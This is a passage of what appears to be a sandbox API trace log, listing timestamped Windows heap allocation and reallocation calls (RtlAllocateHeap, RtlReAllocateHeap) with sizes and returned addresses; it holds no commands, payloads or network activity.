Ptr=0x514460, Size=0x800) returned 0x514460 [0056.922] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x514460, Size=0x1000) returned 0x514460 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10000) returned 0x53d5d0 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50b660 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b678 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4fa160 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b720 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x4) returned 0x4fa140 [0056.922] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b738 [0056.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa160, Size=0x8) returned 0x4fa1a0 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b750 [0056.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa1a0, Size=0x10) returned 0x50b768 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b780 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b798 [0056.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x50b768, Size=0x20) returned 0x4f5b68 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b768 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa1a0 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b7b0 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b7c8 [0056.923] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5b68, Size=0x40) returned 0x4f6d10 [0056.923] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b7e0 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b7f8 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b810 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x50b828 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b840 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b858 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa160 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b870 [0056.924] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6d10, Size=0x80) returned 0x51b5c0 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b888 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b8a0 [0056.924] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b8b8 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b8d0 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b8e8 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b900 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b918 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa180 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b930 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b948 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b960 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b978 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b990 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b9a8 [0056.925] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x50b9c0 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b9d8 [0056.926] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x51b5c0, Size=0x100) returned 0x5101e8 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50b9f0 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ba08 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50ba20 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x50e110 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50e1a0 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x50e170 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa1b0 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d5f0 [0056.926] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d608 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d620 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x4fa1c0 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d638 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d650 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa1d0 [0056.927] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d668 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d680 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d698 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d6b0 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d6c8 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d6e0 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x54d6f8 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d710 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x54d728 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d740 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d758 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d770 [0056.928] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d788 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa1e0 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d7a0 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d7b8 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d7d0 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d7e8 [0056.929] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x5101e8, Size=0x200) returned 0x54d9d8 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d800 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa1f0 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d818 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d830 [0056.929] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d848 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d860 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d878 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d890 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d8a8 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d8c0 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d8d8 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d8f0 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d908 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d920 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d938 [0056.930] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d950 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d968 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54d980 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d998 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54d9b0 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dbf8 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc10 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc28 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa200 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc40 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc58 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc70 [0056.931] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa210 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dc88 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54dca0 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dcb8 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dcd0 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dce8 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dd00 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dd18 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dd30 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54dd48 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54dd60 [0056.932] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dd78 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dd90 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dda8 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ddc0 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ddd8 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ddf0 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de08 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de20 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de38 [0056.933] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de50 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de68 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa220 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x6) returned 0x4fa230 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de80 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54de98 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54deb0 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dec8 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dee0 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54def8 [0056.934] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54df10 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54df28 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54df40 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54df58 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54df70 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54df88 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dfa0 [0056.935] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54d9d8, Size=0x400) returned 0x54dfe0 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54dfb8 [0056.935] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e400 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54e418 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e430 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e448 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e460 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54e478 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e490 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e4a8 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e4c0 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa240 [0056.936] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e4d8 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54e4f0 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e508 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e520 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e538 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e550 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x54e568 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e580 [0056.937] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e598 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e5b0 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e5c8 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e5e0 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e5f8 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e610 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e628 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa250 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e640 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e658 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e670 [0056.938] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e688 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e6a0 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e6b8 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e6d0 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e6e8 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e700 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x54e718 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e730 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x54e748 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e760 [0056.939] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e778 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e790 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e7a8 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e7c0 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54e800 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e818 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e830 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e848 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e860 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e878 [0056.940] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e890 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e8a8 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e8c0 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e8d8 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e8f0 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e908 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e920 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e938 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e950 [0056.941] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e968 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e980 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e998 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x10) returned 0x54e9b0 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x12) returned 0x4f6108 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e9c8 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e9e0 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54e9f8 [0056.942] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea10 [0056.943] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea28 [0056.943] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea40 [0056.943] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea58 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea70 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ea88 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eaa0 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eab8 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ead0 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eae8 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb00 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb18 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb30 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb48 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb60 [0056.944] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb78 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54eb90 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54eba8 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ebc0 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ec00 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xe) returned 0x54ec18 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ec30 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa260 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ec48 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa270 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ec60 [0056.945] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ec78 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ec90 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54eca8 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ecc0 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ecd8 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ecf0 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ed08 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ed20 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ed38 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ed50 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ed68 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xc) returned 0x54ed80 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ed98 [0056.946] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0x8) returned 0x4fa280 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54edb0 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54edc8 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ede0 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54edf8 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ee10 [0056.947] RtlAllocateHeap (HeapHandle=0x4c0000, Flags=0x0, Size=0xa) returned 0x54ee28 [0056.947] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54dfe0, Size=0x800) returned 0x54efe8 [0056.947] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54ff70, Size=0x20) returned 0x4f5b68 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f5b68, Size=0x40) returned 0x4f6d10 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4f6d10, Size=0x80) returned 0x51b5c0 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa2f0, Size=0x8) returned 0x4fa300 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x4fa300, Size=0x10) returned 0x54ff70 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54ff70, Size=0x20) returned 0x4f5a50 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, Flags=0x0, Ptr=0x54ffa0, Size=0x20) returned 0x4f5b90 [0056.948] RtlReAllocateHeap (Heap=0x4c0000, 